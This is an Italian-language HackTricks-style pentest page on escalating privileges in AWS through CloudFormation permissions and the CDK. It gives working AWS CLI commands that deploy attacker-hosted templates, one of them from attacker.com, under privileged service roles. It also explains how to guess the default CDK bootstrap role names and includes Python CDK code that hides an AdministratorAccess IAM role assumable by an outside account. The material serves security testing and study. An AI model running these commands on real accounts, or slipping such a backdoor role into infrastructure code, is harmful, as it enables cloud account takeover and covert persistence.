# AWS - Cloudformation Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## cloudformation

Per ulteriori informazioni su cloudformation, controlla:

{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}

### `iam:PassRole`, `cloudformation:CreateStack`

Un attaccante con questi permessi **può elevare i privilegi** creando uno **stack CloudFormation** con un template personalizzato, ospitato sul proprio server, per **eseguire azioni sotto i permessi di un ruolo specificato:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
In the following page you have an **esempio di sfruttamento** con il permesso aggiuntivo **`cloudformation:DescribeStacks`**:

{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}

**Impatto Potenziale:** Privesc al ruolo di servizio cloudformation specificato.

### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)

In questo caso puoi **sfruttare uno stack cloudformation esistente** per aggiornarlo e aumentare i privilegi come nel scenario precedente:
```bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti il permesso `UpdateStack`** su uno stack e eseguire l'attacco.

**Impatto Potenziale:** Privesc al ruolo di servizio cloudformation specificato.

### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`

Se hai questo permesso ma **nessun `iam:PassRole`**, puoi comunque **aggiornare gli stack** utilizzati e abusare dei **ruoli IAM che hanno già allegato**. Controlla la sezione precedente per un esempio di sfruttamento (basta non indicare alcun ruolo nell'aggiornamento).

Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti il permesso `UpdateStack`** su uno stack e eseguire l'attacco.

**Impatto Potenziale:** Privesc al ruolo di servizio cloudformation già allegato.

### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

Un attaccante con permessi per **passare un ruolo e creare & eseguire un ChangeSet** può **creare/aggiornare un nuovo stack cloudformation e abusare dei ruoli di servizio cloudformation** proprio come con CreateStack o UpdateStack.

Lo sfruttamento seguente è una **variazione del**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) utilizzando i **permessi ChangeSet** per creare uno stack.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti i permessi `ChangeSet`** su uno stack e eseguire l'attacco.

**Impatto Potenziale:** Privesc ai ruoli di servizio cloudformation.

### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

Questo è simile al metodo precedente senza passare **ruoli IAM**, quindi puoi semplicemente **abusare di quelli già attaccati**, basta modificare il parametro:
```
--change-set-type UPDATE
```
**Impatto Potenziale:** Privesc al ruolo del servizio cloudformation già allegato.

### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)

Un attaccante potrebbe abusare di queste autorizzazioni per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari.

**Impatto Potenziale:** Privesc ai ruoli di servizio cloudformation.

### `cloudformation:UpdateStackSet`

Un attaccante potrebbe abusare di questa autorizzazione senza il permesso passRole per aggiornare StackSets per abusare dei ruoli cloudformation allegati.

**Impatto Potenziale:** Privesc ai ruoli cloudformation allegati.

## AWS CDK

Il AWS cdk è un toolkit che consente agli utenti di definire la propria infrastruttura come codice in linguaggi con cui sono già familiari, oltre a riutilizzare facilmente sezioni. Il CDK quindi converte il codice di alto livello (cioè python) in modelli Cloudformation (yaml o json).

Per utilizzare il CDK, un utente amministrativo deve prima avviare l'account, il che crea diversi ruoli IAM, incluso il *ruolo exec*, che ha permessi \*/\*. Questi ruoli seguono la struttura di denominazione `cdk-<qualifier>-<name>-<account-id>-<region>`. L'avvio deve essere eseguito una volta per regione per account.

Per impostazione predefinita, gli utenti CDK non hanno accesso per elencare i ruoli necessari per utilizzare il CDK, il che significa che dovrai determinarli manualmente. Se comprometti la macchina di uno sviluppatore o un nodo CI/CD, questi ruoli possono essere assunti per concederti la possibilità di distribuire modelli CFN, utilizzando il ruolo `cfn-exec` per consentire a CFN di distribuire qualsiasi risorsa, compromettendo completamente l'account.

### Determinazione dei nomi dei ruoli

Se hai `cloudformation:DescribeStacks`, i ruoli sono definiti in uno stack chiamato `CDKToolkit`, e puoi estrarre i nomi da lì.

Se sei su una macchina che è stata utilizzata per costruire e distribuire progetti CDK, puoi estrarli da `cdk.out/manafest.json` nella directory radice dei progetti.

Puoi anche fare una buona ipotesi su quali siano. `qualifier` è una stringa aggiunta ai ruoli che consente di distribuire più istanze dell'avvio CDK contemporaneamente, tuttavia il valore predefinito è hard-coded su `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Aggiungere codice malevolo al codice sorgente del progetto

Se puoi scrivere nel codice sorgente del progetto, ma non puoi distribuirlo tu stesso (ad esempio, lo sviluppatore distribuisce il codice tramite CI/CD, non dalla macchina locale), puoi comunque compromettere l'ambiente aggiungendo risorse malevole allo stack. Il seguente codice aggiunge un ruolo IAM che può essere assunto da un account attaccante a un progetto python CDK.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)

{{#include ../../../../banners/hacktricks-training.md}}
